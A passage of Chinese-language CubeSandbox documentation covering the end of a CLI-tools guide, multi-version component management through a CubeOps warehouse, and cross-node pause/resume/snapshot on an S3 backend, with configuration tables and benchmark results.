cube-runtime login <sandbox-id> --port 1026 --timeout 10 ``` 当需要 guest VM 视角时使用 `cube-runtime login`，例如排查 guest 内核状态、guest 网络接口、agent 状态、挂载点或 MVM 级 pause/resume 行为。 `cube-runtime snapshot` 是底层 snapshot 工作流使用的命令，通常由 Cubelet/CubeMaster 的上层流程调用。除非正在排查运行时内部问题，否则应优先使用 `cubemastercli` 提供的模板和快照操作。 ## 如何选择工具 如果问题是集群级的，使用 `cubemastercli`： * 哪些节点健康？ * 哪些模板副本 ready？ * 某个 sandbox 在哪个节点上？ * 新增节点后如何 redo 模板？ * 如何通过控制面删除 sandbox？ 如果问题是节点本地的，使用 `cubecli`： * 这个 sandbox 是否在本机 Cubelet 上？ * 能否进入 sandbox 容器？ * 本地容器日志是什么？ * 是否有孤儿本地存储 volume？ * Cubelet 看到的本地 tap/network 状态是什么？ 如果问题发生在 MVM 内部，使用 `cube-runtime`： * 能否进入 guest debug console？ * guest 内核或 VM 级网络看到的状态是什么？ * 问题是否位于 container/rootfs 层之下？ ## 安全注意事项 * 不要把密钥、API key、镜像仓库凭据或私有 endpoint 粘贴进 shell history。 * 收集 issue 证据时，优先使用支持的 `--json` 输出；对外分享前先脱敏。 * 多节点集群中，先用 `cubemastercli info --sandboxid <sandbox-id>` 确认 sandbox 所在节点，再到该计算节点执行 `cubecli` 或 `cube-runtime`。 * `cubecli unsafe ...` 和破坏性 `cubemastercli` 命令属于运维变更，不是只读诊断。 --- --- url: https://cubesandbox.com/zh/guide/component-multiversion.md --- # 组件多版本 节点上同时留着好几个版本的组件。建沙箱、恢复沙箱都按模板绑定的版本来取；本地没有，就去 CubeOps 仓库拉一份下来。这样节点把组件升到新版后，用老版本建的沙箱照样能恢复、老模板照样能调度，不会被升级连累。 四个组件： | 组件 | 是什么 | | --- | --- | | `cube-shim` | 容器运行时 shim 和 cube-runtime | | `cube-image` | 客户机根文件系统镜像 | | `cube-agent` | 客户机里的 agent | | `cube-kernel-scf` | 客户机内核 | ## 背景：为什么要多版本 以前节点上只有一份组件（当前工具箱），升级器一升，版本就跟着变。麻烦在于：模板是按特定版本建的。举例说，节点把 `cube-image` 从 v1 升到 v2： * 用 v1 建好的沙箱，恢复时只能取到 v2，版本对不上，恢复直接失败。 * 用 v1 的老模板副本被判成不兼容（STALE），没法调度。 * 想救回来，只能把老模板重做、重新给节点装组件。新老模板没法在一台节点上并存。 有了多版本：每个版本各留一份。v1 还在节点上存着，老沙箱恢复照样取 v1，老模板照样调度，节点升到 v2 一点都不影响它。新老模板能在一台节点上并存，升级不再伤筋动骨。 ## 它怎么跑 建沙箱、恢复沙箱的时候，走这么一条路： ```mermaid flowchart TD A["建/恢复沙箱<br/>要用组件 v1.2"] --> B{"节点版本库里<br/>有 v1.2?"} B -- 有 --> C["直接用"] B -- 没有 --> D{"节点配了<br/>cubeops_addr?"} D -- 没配 --> E["❌ 失败:component version missing"] D -- 配了 --> F["向 CubeOps 仓库拉"] F --> G{"仓库里有 v1.2?"} G -- 没有 --> H["❌ 失败:not in warehouse<br/>→ 去导入一键包"] G -- 有 --> I["下载 · 解压 · 校验 · 落盘"] I --> C C --> J["✅ 继续建"] ``` 节点磁盘上有两块地方： ``` /usr/local/services/cubetoolbox ← 当前工具箱:升级器就地更新,节点现在用的就是它 /data/cubelet/root/component_versions/ ← 版本库:多版本并排,建/恢复从这里取 ├── cube-image/ │ ├── v1.0/ │ └── v1.2/ └── cube-kernel-scf/ └── v1.2/ ``` 一句话：**缺版本不会拿当前工具箱凑合，而是去仓库下**。所以当前工具箱随便升，都不影响已经绑定老版本的副本——这就是稳定恢复（stable restore）。新模板会把四个组件的版本都绑上；只有从老版本迁过来的历史副本可能只绑了两件，不享受稳定恢复。 ## 运维该干啥 **1. 把版本导进仓库**（节点才有东西可下） 仓库首页点「导入一键包」。只认 `cube-sandbox-one-click-<tag>-{amd64,arm64}.tar.gz`，按包导——一个包里几个组件一次写进去，没有「只导某一个」的说法。来源三种：GitHub Release（默认只让下 `TencentCloud/CubeSandbox`）、CNB Release（`CubeSandbox/CubeSandbox`）、本地传 tar.gz（最大 8 GB）。提交完不用盯着，去「任务」页看进度。 **2. 把大版本提前装到节点**（别让第一次建沙箱卡在下载） 进组件详情页，点「预装」，勾上没装的节点，后台就会下。**预装不建沙箱**，纯粹是把版本先装过去。`cube-image`、内核这些体积大（GB 级），第一次建的时候才去下，十有八九会超过 10 分钟超时——提前装好就没事。 **3. 看对照、清旧版本**（管磁盘） 仓库首页每张卡片有个「对照」：绿的 = 都齐了，黄的 = 有 N 个节点缺，灰的「对照不可用」= CubeOps 列不出节点。**版本库不会自动清**，老版本越攒越多；删之前先看兼容矩阵的「已绑版本」列，确认没有副本还绑着这个版本。在控制台删某版本，只删仓库里的中心副本，节点上那份不删。 ## 出问题怎么查 | 报错 | 啥意思 | 怎么办 | | --- | --- | --- | | `component version missing on node` | 没配 `cubeops_addr`，节点上又没这版本 | 给节点配上 `cubeops_addr`，打通到 CubeOps `:3010` | | `component version not in warehouse` | 地址配了，但仓库里压根没这版本 | 去控制台导入对应的一键包 | | 下载失败（网络错 / 5xx / 校验不过） | 仓库有，但下载或解压出了错 | 翻 Cubelet 日志 `mod=warehouse`，重试或重新导 | | 对照栏「对照不可用」 | CubeOps 列不出节点 | 查 CubeOps 节点管理 / Redis 和 node-agent 心跳 | | 导入任务失败 | 任务页会写原因：白名单外、没 token、源连不上、包格式不对 | 照着改 | ## 部署 「缺了自动拉」依赖两条网络： * **节点 → CubeOps**：领下载地址、上报本地版本清单。这条路不通，节点就退回「只用已有的版本」，缺了直接失败。 * **节点 → 对象存储**：数据真正下载的地方，组件包统一放在独立的 `cube-ops` 桶。 CubeOps 的地址三种部署方式都会自动配给节点（需要时用 `CUBE_OPS_ADDR` 覆盖），差别只在对象存储这一侧： | 部署方式 | 开箱即用 | 对象存储 | | --- | --- | --- | | **Helm** | ✅ | 默认用 chart 内置 MinIO。要换自己的 S3/COS 就配 `cubeOps.s3`，并确认节点能访问那个地址。 | | **一键安装** | ✅ | 自动复用 Volume 的 MinIO/S3 连接，独立 `cube-ops` 桶，无需配置。 | | **Terraform TKE** | ❌ | 默认栈没有对象存储，仓库处于禁用状态；给 cube-ops 接上 COS（或其他 S3）后才可用，地址必须是集群外 CVM 能访问的。 | 仓库数据都在 S3、不占 CubeOps 本地盘，所以 CubeOps 可以跑多副本；可用性的短板在 chart 内置 MinIO——单实例，要 HA 就换外部 S3/COS。 ## 配置 | 配置 | 默认 | 说明 | | --- | --- | --- | | `cubeops_addr`（Cubelet） | 空 | CubeOps 地址，比如 `http://<ops>:3010`。**留空 = 不下**，缺版本直接失败。 | | `cubeops_timeout`（Cubelet） | `10m` | 拉一个版本的总时限；GB 级组件要留够余量。 | | `CUBE_OPS_STORE_BACKEND`（CubeOps） | `s3` | `fs` = 本地/PVC 仓库，由 CubeOps 签发下载 URL。 | | `CUBE_OPS_STORE_FS_PUBLIC_URL`（CubeOps） | 空 | `backend=fs` 时节点可达的 CubeOps 地址。 | | `CUBE_OPS_S3_ENDPOINT`（CubeOps） | 空 | 对象存储地址。**留空 = 仓库禁用**，CubeOps 本身照常启动。 | | `CUBE_OPS_S3_NODE_ENDPOINT`（CubeOps） | 同 endpoint | 节点下载用的地址；节点访问不到默认地址（比如在集群外）时才需要设。 | | `CUBE_OPS_S3_BUCKET`（CubeOps） | `cube-ops` | 仓库专用的桶。 | | `CUBE_OPS_WAREHOUSE_WORK_DIR`（CubeOps） | `/var/tmp/cubeops-warehouse` | 导入时解包用的本地临时空间，要放得下最大的包。 | | `CUBE_OPS_WAREHOUSE_GITHUB_REPOS` / `CNB_REPOS` | 见上面白名单 | 导入白名单，逗号分隔，可覆盖。 | | `CUBE_OPS_WAREHOUSE_*_TOKEN` | 空 | 私有 release 才用得上。 | 关于 `cube-ops` 桶，有两件事要知道： * **权限**：给 CubeOps 这个桶的读写权限（含分块上传），最小 IAM 清单见 CubeOps README。 * **凭据**：节点不持有 S3 凭据（这点和 s3fs 卷不同），拿到的只是短时效的签名下载 URL。也因此，能写这个桶的人就能改节点执行的二进制——把 AK/SK 当作信任域边界。 > 节点调的 `/internal/warehouse/*` 不带 JWT（就靠 `X-Cube-Node-ID` 认，跟 `/internal/meta` 一个待遇），**只开给计算节点网络，别挂公网**。管理 API 走 `/opsapi`，带 JWT。 --- --- url: https://cubesandbox.com/zh/guide/cross-node-snapshot.md --- # 跨机快照（Pause / Resume / Snapshot） ::: tip 部署范围 CubeS3lvol 在 one-click 和 Kubernetes 上都**默认关闭**。开启方式见 [§2 配置后端 S3 服务](#_2-如何配置后端-s3-服务)；资源与存储规划见 [§3 每台节点的存储需求](#_3-每台节点的存储需求重点是-wal)。 ::: CubeSandbox 通过一份可持久化的「包对象」（rootfs / memory / metadata）实现沙箱的 **暂停（Pause）**、**恢复（Resume）** 与 **快照（Snapshot）**： * **Pause / Resume**：把运行中沙箱的完整状态（内存 + 文件系统）冻结为一份暂停包，之后可原地或异地恢复。 * **Snapshot**：把状态持久化为一份可复用的镜像，既可用于从快照新建沙箱（FromSnap），也可用于回滚（Rollback）。 在默认的 `xfs` 后端下，这份包对象只落在**创建它的那一个节点**的本地磁盘上，因此 Resume / FromSnap **必须回到同一个节点**（节点亲和）。一旦该节点下线、被隔离或资源不足， 已暂停的沙箱无法被调度恢复，快照也无法在别处拉起。 引入 `s3` 后端后，包对象被上传到**集群共享的 S3**（由 [CubeS3lvol](https://github.com/TencentCloud/CubeSandbox/blob/master/CubeS3lvol/README.md) 服务管理）， **任意兼容节点都能按需拉取并恢复**，从而实现跨机的 Pause / Resume 与 FromSnap。 注意：XFS 根盘本身始终留在本地，跨机迁移的是「快照 / 暂停包」，而不是整个虚拟机磁盘。 SDK 侧的快照、回滚、克隆用法见 [快照、回滚与克隆](./snapshot-rollback-clone.md)；本文说明跨机恢复的条件、调度规则与 CLI 字段。 *** ## 1. 跨机的条件 跨机恢复（Resume / FromSnap 落到非源节点）不是默认行为，必须同时满足以下条件。 ### 1.1 必须基于 S3 后端（制作模板时指定） 跨机操作的前提是**沙箱本身运行在 S3 后端之上**。目前 S3 后端**不可在事后切换**， 必须在「制作模板」阶段就显式声明；一旦确定，该模板及其后续所有派生产物 （暂停包、快照、从快照创建的子沙箱）都会**继承并锁定为 S3 后端，不可修改**。 * 只有 `backend=s3` 的模板 / 沙箱，其 Pause / Snapshot 才会把包对象上传到共享 S3， 从而获得跨机能力；`xfs` 模板天然无法跨机。 * 派生链路：`模板(s3)` → `沙箱(s3)` → `暂停包(s3)` / `快照(s3)` → `从快照新建的沙箱(s3)`， 整条链路后端随模板锁定，无法中途改成 `xfs`，也无法把 `xfs` 产物改成 `s3`。 > 后续会提供 **xfs ↔ S3 转换工具**，用于在已存在的 xfs 模板 / 沙箱与 S3 之间迁移； > 当前版本请务必在模板创建阶段就选好后端。 制作模板时指定 S3 后端： ```bash # 省略 --backend 则沿用历史 xfs 路径 cubemastercli tpl create-from-image \ --image <img> \ --writable-layer-size 4Gi \ --backend s3 \ --expose-port 49983 \ --probe 49983 \ --probe-path /health ``` 创建后可用 `cubemastercli cubebox template list` 确认 `BACKEND` 列显示为 `s3`，其下新建的沙箱与 快照也会自动继承 `s3`（见 [CLI 字段](#_4-cubemastercli-跨机相关的子命令与新显示字段)）。 ### 1.2 本机优先调度，本机无法调度才跨机 调度器（`restoreplace`）**优先把恢复任务放回源节点**。只有源节点无法被调度时， 才会在条件满足的前提下跨机： ``` ┌─────────────────┐ ┌──────────────────┐ 是 ┌──────────────────┐ │Resume/FromSnap │──▶│ 源节点可调度? │─────▶│ 本机恢复(源节点) │ └─────────────────┘ └────────┬─────────┘ └──────────────────┘ │ 否 ▼ ┌──────────────────┐ 是 ┌──────────────────┐ │ CanCrossNode? │─────▶│ 跨机恢复 │ │ backend=s3 ∧ │ │ (任意兼容节点) │ │ remote=ready ∧ │ └──────────────────┘ │ kernel/cpu 一致 │ └────────┬─────────┘ ▼ 否 ┌──────────────────┐ │ 报错: cannot │ │ restore cross- │ │ node │ └──────────────────┘ ``` 即：源节点在、且能调度 → 永远本机；源节点不在或不可调度，且快照满足跨机条件 → 跨机； 否则直接报错，不会盲目落到不兼容的节点。 源节点被 [隔离](./node-operations.md) 时视为不可调度，因此隔离是验证跨机 Resume 的常用手段。 外部存储会进一步影响放置行为： * 带 **host-mount** 的沙箱会钉在源节点（`PinToOrigin`），不会参与跨机调度；host path 没有集群级稳定身份，因此其他节点上的同名路径不会被视为可移植存储。 * 带 **Plugin Volume** 的沙箱可以跨机恢复。但请注意，运维方需要保证所有候选节点都安装所需 volume driver 并能访问后端。Volume 不存在、目标节点缺少 driver 或 `Attach` 失败时，FromSnap/Resume 会失败，不会在缺失必要 Volume 的情况下启动 VM。 > FromSnap 时源沙箱可能仍在运行，因此同一个读写 Volume 可能同时被两个节点 Attach。请使用能够安全支持相应共享方式的后端；否则应先停止源沙箱，或使用只读挂载。 ### 1.3 快照必须在云端「就绪」 跨机的硬性门槛由 Master 依据 DB 持久化状态强制（非客户端输入）： > `CanCrossNode(backend, remote_status)` 仅在 **`backend == s3` 且 `remote_status == ready`** 时返回 `true`。 * `backend` 必须为 `s3`（对象在共享 S3 上，别的节点才拉得到）。 * `remote_status` 必须为 `ready`：表示 Pause / Commit / AppSnapshot 已把 rootfs / memory / metadata 三份对象成功导出并同步完成。状态机为 `pending → inprogress → ready / failed`。**只有 `ready` 才允许跨机**。 > **未就绪也能用，只是不能跨机**：当 `remote_status` 不为 `ready`（包括 `pending` / `inprogress` / > `failed`，以及 `xfs` 后端的空值）时，用户**仍然可以 resume，或基于该快照创建新沙箱**， > 但 `CanCrossNode` 返回 `false`，调度器只会把它放回\*\*源节点（本机）\*\*执行，不会落到别的机器。 > 只有在 `remote_status` 变为 `ready` 后，才解锁跨机恢复。 `xfs` 后端的 `remote_status` 始终为空，因此 `CanCrossNode` 对其恒为 `false`——**xfs 快照只能本机恢复**。 ### 1.4 跨机目标必须与源机 kernel / CPU 信息一致 跨机恢复的目标节点，其 **kernel 与 CPU 信息必须与源节点一致**，否则内存态（含 CPU 寄存器 / 特性位）无法正确还原，恢复会失败或不稳定。 > **当前匹配范围**：跨机兼容性判定**目前仅以 `cpuid_hash` 与 `host_kernel_release` 两个维度做相等匹配**。 > 其余字段（`cpu_vendor`、`host_kernel_fingerprint`、`kvm_api_version`）目前只是采集并展示、 > **尚未纳入相等匹配门禁**。目标节点若带非空的 `kvm_module_taint`（强制 / 树外 / 未签名的 `kvm.ko`）， > 会被拒绝作为跨机目标。后续版本可能收紧匹配维度，请以实际版本为准。 用 `cubeopscli node list --json` 查看节点的 `HostFacts`： | JSON 字段 | 含义 | 当前是否参与匹配 | |-----------|------|------------------| | `cpuid_hash` | CPU 特征哈希（CPU 特性指纹） | 是（相等匹配） | | `host_kernel_release` | 宿主机内核版本（`uname -r`） | 是（相等匹配） | | `host_kernel_fingerprint` | 宿主机内核指纹哈希（release + 规范化 cmdline） | 暂仅展示，后续可能加入 | | `cpu_vendor` | CPU 厂商（如 Intel / AMD / 鲲鹏） | 暂仅展示，后续可能加入 | | `kvm_api_version` | KVM API 版本 | 暂仅展示，后续可能加入 | | `kvm_module_taint` | KVM 模块 taint；空表示干净，非空表示加载了强制 / 树外 `kvm.ko` | 目标侧非空则拒绝跨机 | > 因为多数展示字段当前未自动做相等校验，跨机前仍建议用 `cubeopscli node list --json` > **人工比对全部 HostFacts**，确认目标节点与源节点一致。 #### 1.4.1 `cpuid_hash` 是如何计算的 `cpuid_hash` 由 Cubelet 读取节点的 `/proc/cpuinfo`， 将 CPU 身份与特性集经确定性 SHA-256 摘要得到（前缀 `sha256:`）， 两台机器只有「身份 + 特性」完全一致时摘要才会相等。参与计算的字段如下： * **x86**：`vendor_id`（厂商）、`cpu family`（家族）、`model`（型号）、`stepping`（步进）、`flags`（特性标志位，如 `vmx`/`avx2`/`smep`/`nx` 等） * **ARM**：`CPU implementer`（实现者）、`CPU architecture`（架构）、`CPU variant`（变体）、`CPU part`（部件号）、`CPU revision`（修订）、`Features`（特性列表） > 只取第一颗逻辑 CPU，默认整机同构；`flags` / `Features` 会先做字母序排序再哈希， > 因此内核导出顺序不同不影响结果。混合架构（big.LITTLE、Intel P+E 核心）可能误判为兼容。 *** ## 2. 如何配置后端 S3 服务 Cube 安装时默认安装 MinIO 作为 S3 服务，方便开箱体验。 若要接入自己的 S3，按 [CubeS3lvol 文档](https://github.com/TencentCloud/CubeSandbox/blob/master/CubeS3lvol/README.md) 配置即可。 ### 2.1 Kubernetes（Helm） 设置 `cubeS3lvol.enabled=true` 即可，默认无需其他配置：sidecar 复用 chart 内置 MinIO（或已配置的 `volumeS3`）的 endpoint 与凭证，写入独立的 `cube-s3lvol` 桶——始终与 S3 volume 插件的 `cube-volumes` 桶分开。 ::: warning 会重建 Big Pod 开启该开关会重建计算节点的 Big Pod。请在维护窗口操作，最好在创建任何沙箱之前开启。 ::: 身份来自完整的 Kubernetes 节点名，哈希成 `rcow-<8hex>`。Pod 重建仍是同一台机器。`cubeS3lvol.lvsName` 会给集群里每个节点钉同一个名字——多节点不要设。 只有以下情况需要额外设置： * 外部 S3 端点为 path-style——显式设 `cubeS3lvol.s3.pathStyle: true`； * CPU 核做了隔离——设置 `cubeS3lvol.cpuMask`（默认绑本进程 `Cpus_allowed_list` 里的最后两核）。 ```yaml cubeS3lvol: enabled: true # 可选：覆盖 endpoint / 密钥。桶必须与 cube-volumes 分开。 # s3: # endpoint: https://s3.example.com # accessKeyId: ... # secretAccessKey: ... # bucket: cube-s3lvol ``` 首次启动时若 WAL 文件不存在会创建稀疏文件；`journalMB` / `walMB` / `cacheMB` 只在该文件出现之前生效。开启 sidecar 后，Big Pod 的 `terminationGracePeriodSeconds` 会提高到至少 180s，以便 `rcow_stop` 完成 disconnect 与 unload。 *** ## 3. 每台节点的存储需求（重点是 WAL） 每台运行 s3lvol 的节点需预留约 **2 核 CPU + 19 GiB 内存**；其中包含默认的 1 GiB 整对象 RAM cache（`RCOW_CACHE_HOT_BUFS=1024`），设为 `0` 可只使用磁盘 cache；x86\_64 节点需要 AVX2（Haswell）。 快照对象存放在共享 S3 上，但**每台运行 s3lvol 的节点还需要一块本地 WAL 镜像盘**。 跨机恢复依赖它：对快照的写入会先落到本地盘，再异步刷写回 S3；没有这块盘的节点既无法制作快照， 也无法恢复快照。 ### 3.1 WAL 镜像盘 * 路径：`/data/cubelet/rcow/wal_bdev.img` * 逻辑大小：默认 **512 GiB**，由 one-click `install.sh` 或 Helm sidecar 入口在首次启动时以**稀疏文件**方式创建 * 只创建一次：journal / WAL / cache 三段的划分在创建时就固定，之后无法调整（只能重新创建镜像） 默认 512 GiB 由三段组成： | 区域 | 默认大小 | 作用 | |------|---------|------| | Journal | 1024 MiB | 在途写操作记录，挂载 lvstore 时回放 | | WAL | 32768 MiB（32 GiB） | 刷写 S3 之前暂存的本地写数据 | | Chunk cache | 490496 MiB（≈479 GiB） | 最近写入 chunk 的本地缓存 | > 镜像是**稀疏文件**：预留 512 GiB 逻辑空间并不会立即占用 512 GiB 物理磁盘。 > 物理占用按实际写入增长，容量规划应围绕写入工作集，而非逻辑大小。 ### 3.2 集群规划 * **每台可能参与跨机恢复的节点都要在本地磁盘上准备自己的 WAL 镜像**——包括运行沙箱的计算节点， 以及运行 s3lvol 的控制节点。 * 三段大小在安装时通过 `RCOW_JOURNAL_MB` / `RCOW_WAL_MB` / `RCOW_CACHE_MB` （一键安装）、chart 的 `cubeS3lvol.journalMB` / `walMB` / `cacheMB`（Helm） 或 CubeS3lvol 运行时环境配置设置。调整只在**首次启动前**有意义——镜像一旦创建，布局即固定。 * 镜像不长期保存快照数据：它只是写缓冲加缓存，持久副本在 S3。 *** ## 4. cubemastercli 跨机相关的子命令与新显示字段 为支持跨机能力，`cubemastercli` 在多个子命令中新增了 `backend` / `remote_status` / `origin_node` 等显示列，并在模板创建时提供 `--backend` 标志。下面按子命令说明。 节点列表与隔离已迁到 `cubeopscli`（CubeOps，默认端口 `3010`），见 [节点相关操作](./node-operations.md) 与 [命令行工具](./cli-tools.md)。 ### 4.1 `cubebox list`（沙箱列表） 沙箱列表新增两列，用于一眼看出某个沙箱是否走 S3、以及其暂停包在云端的同步状态： | 列 | 含义 | |----|------| | `backend` | 该沙箱关联的 CoW 后端（`xfs` / `s3`）；`xfs` 显示为 `-` | | `remote` | 暂停包的云端同步状态 `remote_status`（`pending` / `inprogress` / `ready` / `failed`）；非 S3 显示为 `-` | ```bash cubemastercli cubebox list --all ``` 非 paused 行按创建时间倒序；paused 行排在最后，并带 `pause_snap`。Resume 成功后这两列恢复为 `-`。 ### 4.2 `cubebox snapshot list` / `snapshot info`（快照） 快照资源中的跨机相关字段： | 字段 | 含义 | |------|------| | `backend` | CoW 后端（`xfs` / `s3`）；打印时优先用 `backend`，为空回退历史字段 `storage_backend` | | `remote_status` | S3 同步状态；`xfs` 为空 | | `origin_node_id` / `origin_node_ip` | **创建该快照的源节点**（跨机恢复时的「本机」参照） | | `replicas` 表（`NODE_ID` / `NODE_IP` / `STATUS` / `PHASE` / `SPEC` / `ERROR`） | 每个节点副本的状态，用于观察快照在各节点的就绪情况 | ```bash cubemastercli cubebox snapshot list cubemastercli cubebox snapshot info --snapshot-id <snapshot-id> ``` ### 4.3 `cubebox template list` / `template info`（模板） 模板列表新增 `BACKEND` 列；`template info` 会打印 `backend: <xfs|s3>`。 模板的 `backend` 决定其下沙箱与快照默认使用的 CoW 后端。 ```bash cubemastercli cubebox template list cubemastercli cubebox template info <template-id> ``` ### 4.4 `tpl create-from-image --backend xfs|s3` ```bash # 创建模板时声明后端；省略则沿用历史 xfs 路径 cubemastercli tpl create-from-image \ --image <img> \ --writable-layer-size 4Gi \ --backend s3 ``` > 后端在**模板 / 沙箱创建**时确定；快照创建命令本身**不接受** backend 选择， > 永远使用沙箱 / 模板已持久化的后端。 ### 4.5 `cubeopscli node list`（校验跨机兼容性） 默认表格显示节点健康与隔离状态。HostFacts 在 JSON 里： ```bash cubeopscli --address 127.0.0.1 --port 3010 node list cubeopscli --address 127.0.0.1 --port 3010 node list --json ``` `--json` 中每个节点的 `HostFacts` 字段含义见 [1.4 跨机目标必须与源机 kernel / CPU 信息一致](#_14-跨机目标必须与源机-kernel--cpu-信息一致)。 跨机前请确认目标节点与源节点的 `cpuid_hash` / `host_kernel_release` 一致，并核对其余 HostFacts。 *** ## 5. 基准性能测试 单位 **ms**。表中 **avg** / **p95** 是**单实例**从发起到进入 `running` 的耗时，不是整批 wall 再除以并发。 下列数字测于 2026-09-21。S3 对象存储为安装默认的集群内 **MinIO**（path-style）。 结果随硬件、镜像和脏页负载变化，只适合作为同集群上 xfs 与 s3 的对照，不是 SLA。 ### 5.1 测试环境 两台同规格腾讯云 CVM（嵌套 KVM）：一台控制面+计算，一台仅计算。 | 项 | 值 | |----|-----| | OS | TencentOS Server 4.4 | | 内核 | `6.6.69-opencloudos9.cubesandbox.pvm.host` | | CPU | AMD EPYC 9K65，16 vCPU，1 thread/core | | 内存 | 30 GiB | | 磁盘 | 系统盘、数据盘各约 1 TB，腾讯云 **SSD 云硬盘**（`CLOUD_SSD`）。`/` 为 XFS，`/data` 为 ext4。`/data/cubelet` 是系统盘 XFS 的 bind-mount（one-click 的 cubelet 数据目录）。xfs/reflink 卷目录和 s3lvol WAL（`wal_bdev.img`，见 §3.1）在这里，不在 ext4 的 `/data` 上 | | S3 对象存储 | 集群内 MinIO 跑在**控制面+计算**节点，也是模版源节点。S3 本地格子打的是这台机上的 MinIO。跨机格子隔离源节点，恢复落在仅计算节点；dest→MinIO 仍打到源节点（isolate 只是不让它被调度） | ### 5.2 模版 两个后端用**同一镜像、同一规格**。每份模版只在**一台**计算节点有副本（源节点）。同机用例隔离对端，让任务落在源节点；跨机 FromSnap 隔离源节点。 | 项 | 值 | |----|-----| | 镜像 | `cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest` | | vCPU / 内存 | 2000 millicores（2 vCPU）/ 2048 MiB | | 可写层 | 4Gi | | Probe | 端口 `49983`，路径 `/health` | | 后端 | `xfs` 与 `s3`，`tpl create-from-image --backend …`。`s3` 的对象存储为 MinIO | ### 5.3 测试方法 复测时沿用此方法，不要改表格列或「一轮」语义。 1. **每轮清理：** 按并发数一次性拉起沙箱，**全部杀掉后再开下一轮**。上一轮还活着时不要叠下一轮。 2. **冷启动、从快照创建：** 每个 `(后端, 并发)` 格子累计 50 次启动。并发 1 = 50 轮各 1 个；并发 5 = 10 轮各 5 个。测前丢弃 1 轮 warmup。 3. **制作快照：** 串行 10 次（建沙箱 → `create_snapshot` → 杀掉）。S3 **同一时刻只能有一个 export**。 4. **快照共享（仅 S3）：** `create_snapshot` 返回后轮询到 `remote_status=ready`，这段等待计入共享，**不计入**「制作快照」。 5. **暂停共享（仅 S3）：** 与第 4 条相同，对 Pause 包在 `pause(wait=True)` 返回之后轮询到 `ready`。这段等待是「暂停共享」行，**不计入**暂停。表里暂停共享用的是 c=1 串行样本。 6. **从快照创建（S3 本地）：** 隔离对端，源节点仍有副本，MinIO 也在这台。**S3 跨机：** 等快照 `ready` 后隔离源节点，在仅计算节点上创建。§5.4 / §5.5 的计时都在进入 `running` 时停。计时前目标节点已有该模版的 guest 基础镜像和内核旁路文件，墙钟不含第一次拉约 1Gi 制品；`running` 之后包的惰性 / 后台拉取也不计入。从未跑过该模版的节点仍要付这一次镜像拉取。 7. **从快照创建（有 cache）：** 同一份 snapshot 先在目标节点做一次不计入样本的 FromSnap（包已 import），再按第 2 条测 50 次。XFS 无此行。前面那组 50 次已经丢过一轮 warmup FromSnap，dest import 同样是热的；这两行用来确认再测 50 次结果不变。 8. **暂停 / 恢复：** 同样 50 次、c=1 / c=5、丢 1 轮 warmup。Create 后立刻 Pause，guest 无额外写脏。暂停墙钟是**该沙箱** `pause(wait=True)` 从调用到返回，**不是**在队列里等别人的 export。S3 的 c=5 轮里 Pause + 暂停共享仍是一个接一个（上一个包 `ready` 后再 `pause()` 下一个）。恢复墙钟是 `Sandbox.connect`。跨机暂停为 `N/A`：Pause 总在源节点，和 S3 本地相同。跨机恢复：源节点 Pause 并 `ready` 后隔离源节点，在对端 connect。 9. XFS 没有共享步骤，也不能跨机恢复。 ### 5.4 冷启动（Cold Start） 从**模版**创建（`Sandbox.create(template=tpl-…)`）。 | 并发 | xfs avg | xfs p95 | s3 avg | s3 p95 | |------|---------|---------|--------|--------| | 1 | 56.1 | 64.2 | 242.9 | 270.9 | | 5 | 68.0 | 79.6 | 663.8 | 839.6 | ### 5.5 快照 / 暂停 / 恢复（Snapshot / Pause / Resume） | 操作 | xfs avg | xfs p95 | s3 本地 avg | s3 本地 p95 | s3 跨机 avg | s3 跨机 p95 | |------|---------|---------|-------------|-------------|-------------|-------------| | 制作快照 | 97.0 | 118.9 | 2242.2 | 2365.7 | N/A | N/A | | 快照共享（推送至共享 S3，xfs 无此步骤） | N/A | N/A | 4336.4 | 6267.5 | N/A | N/A | | 暂停（1 并发） | 106.2 | 122.7 | 2509.9 | 2709.3 | N/A | N/A | | 暂停（5 并发） | 152.7 | 170.4 | 3415.8 | 4154.5 | N/A | N/A | | 暂停共享（推送至共享 S3，xfs 无此步骤） | N/A | N/A | 5318.8 | 5763.4 | N/A | N/A | | 恢复（1 并发） | 153.6 | 171.3 | 410.8 | 448.4 | 836.2 | 920.8 | | 恢复（5 并发） | 403.3 | 474.6 | 1755.4 | 2033.7 | 3191.3 | 3837.2 | | 快照创建（1 并发） | 63.2 | 75.4 | 253.7 | 301.0 | 729.6 | 788.5 | | 快照创建（5 并发） | 93.4 | 118.5 | 706.9 | 887.3 | 3194.4 | 3912.3 | | 快照创建（1 并发，有 cache） | N/A | N/A | 250.2 | 272.8 | 722.5 | 767.6 | | 快照创建（5 并发，有 cache） | N/A | N/A | 709.6 | 910.1 | 2829.3 | 3814.5 | 跨机 **恢复** / **从快照创建** 是 **warm dest**：计时前目标节点已有该模版 guest 基础镜像（约 1 Gi）和内核旁路文件（约 50 MiB）。共享行是源端 export 到 `remote=ready`（声明约 210 MiB）；下面的 dest GET 只是发起到 `running` 之间打 MinIO 的字节，不是把整包下完。 跨机 FromSnap / Resume 的数据量（同一规格、Create 后立刻 Snapshot 或 Pause，guest **没有**额外写脏）： | 项 | 大约多少 | |----|----------| | 沙箱规格 | 2 vCPU / 2048 MiB 内存，可写层 4Gi | | 源端 export（reference 声明） | 约 210 MiB / ~230 个 object。memory 约占 205 MiB，rootfs / metadata 各约 4 MiB。这是共享在等的量，不是 dest 在 `running` 之前拉的量 | | 目标节点实际 GET（MinIO） | 约 10–20 MiB，**从 FromSnap/Resume 发起到 `running`**，一次恢复（`dest_direct_get_bytes`）。import 是登记 + lease + activate，**不是**把上面 210 MiB 整包拉完。guest 在 `running` 之后还可能继续按页拉取（不计时），总传输更大 | | guest 基础镜像（不计时） | 约 1 Gi 的 `.ext4` + 约 50 MiB 内核旁路文件；计时前已在目标节点，不是 S3 包 | **有 cache** 的 FromSnap 行是 dest 已 import 过同一份 snapshot 之后再测的第二组 50 次。这个样本量下和第一组分不出差别（c=1 大约差 1%）。留下来表示空结果：dest import / dest cache 热了，墙钟并不动。快照共享 n=10 的 p95 是一个慢样本，不是很宽的分布。 *** ## 6. 已知问题 1. **S3 快照对象由 S3lvol 异步删除，被引用的快照会拒绝删除。** 删除 S3 快照后，CubeS3lvol 在后台回收对象。 删除接口返回时，对象不一定已经从 S3 上消失。 此外，快照在被引用时**不能立刻删除**，CubeS3lvol 会以 `EBUSY` 拒绝：export 仍在发布、有 live lease、lease miss 还不到 source grace（约 60 秒）、本地 esnap clone 仍在读、存在多个 